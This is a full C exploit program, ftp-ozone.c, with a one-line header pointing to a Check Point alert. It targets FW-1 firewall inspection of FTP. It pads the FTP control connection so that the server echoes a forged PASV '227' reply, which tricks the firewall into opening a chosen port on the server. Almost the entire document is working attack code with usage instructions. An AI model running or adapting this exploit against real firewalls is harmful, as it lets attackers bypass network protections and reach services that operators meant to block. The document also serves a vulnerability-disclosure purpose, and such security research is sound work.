Exploit for recent FW-1 FTP problems - Demonstrate a basic layer violation in "stateful" firewall inspection of application data (ftp within IP packets). Checkpoint alert about this vulnerability here.
105b9db1985030576cb537ea4954c1985eb1a0c41554c114e8d7e40766964ac2
/*
ftp-ozone.c
Demonstrate a basic layer violation in "stateful" firewall
inspection of application data (within IP packets - @#$@#$!):
https://www.checkpoint.com/techsupport/alerts/pasvftp.html
Dug Song <dugsong@monkey.org>
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <setjmp.h>
#define PAD_LEN 128 /* XXX - anything on BSD, but Linux is weird */
#define GREEN "\033[0m\033[01m\033[32m"
#define OFF "\033[0m"
jmp_buf env_buf;
void
usage(void)
{
fprintf(stderr, "Usage: ftp-ozone [-w win] <ftp-server> <port-to-open>\n");
exit(1);
}
u_long
resolve_host(char *host)
{
u_long addr;
struct hostent *hp;
if (host == NULL) return (0);
if ((addr = inet_addr(host)) == -1) {
if ((hp = gethostbyname(host)) == NULL)
return (0);
memcpy((char *)&addr, hp->h_addr, sizeof(addr));
}
return (addr);
}
#define UC(b) (((int)b)&0xff)
int
ftp_pasv_reply(char *buf, int size, u_long ip, u_short port)
{
char *p, *q;
port = htons(port);
p = (char *)&ip;
q = (char *)&port;
return (snprintf(buf, size, "227 (%d,%d,%d,%d,%d,%d)\r\n",
UC(p[0]), UC(p[1]), UC(p[2]), UC(p[3]),
UC(q[0]), UC(q[1])));
}
void handle_timeout(int sig)
{
alarm(0);
longjmp(env_buf, 1);
}
void
read_server_loop(int fd, int timeout, int pretty)
{
char buf[2048];
int rlen;
if (!setjmp(env_buf)) {
signal(SIGALRM, handle_timeout);
alarm(timeout);
for (;;) {
if ((rlen = read(fd, buf, sizeof(buf))) == -1)
break;
if (pretty) {
buf[rlen] = '\0';
if (strncmp(buf, "227 ", 4) == 0)
printf("[" GREEN "%s" OFF "]\n", buf);
else printf("[%s]\n", buf);
}
else write(0, buf, rlen);
}
alarm(0);
}
}
int
main(int argc, char *argv[])
{
int c, fd, win, len;
u_long dst;
u_short dport;
struct sockaddr_in sin;
char buf[1024];
win = PAD_LEN;
while ((c = getopt(argc, argv, "w:h?")) != -1) {
switch (c) {
case 'w':
if ((win = atoi(optarg)) == 0)
usage();
break;
default:
usage();
}
}
argc -= optind;
argv += optind;
if (argc != 2)
usage();
if ((dst = resolve_host(argv[0])) == 0)
usage();
if ((dport = atoi(argv[1])) == 0)
usage();
/* Connect to FTP server. */
memset(&sin, 0, sizeof(sin));
sin.sin_addr.s_addr = dst;
sin.sin_family = AF_INET;
sin.sin_port = htons(21);
if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket");
exit(1);
}
if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &win, sizeof(win)) == -1) {
perror("setsockopt");
exit(1);
}
if (connect(fd, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
perror("connect");
exit(1);
}
read_server_loop(fd, 10, 0);
/* Send padding. */
len = win - 5; /* XXX - "500 '" */
memset(buf, '.', len);
if (write(fd, buf, len) != len) {
perror("write");
exit(1);
}
/* Send faked reply. */
len = ftp_pasv_reply(buf, sizeof(buf), dst, dport);
if (write(fd, buf, len) != len) {
perror("write");
exit(1);
}
read_server_loop(fd, 5, 1);
printf("[ now try connecting to %s %d ]\n", argv[0], dport);
for (;;) {
;
}
/* NOTREACHED */
exit(0);
}
/* w00w00. */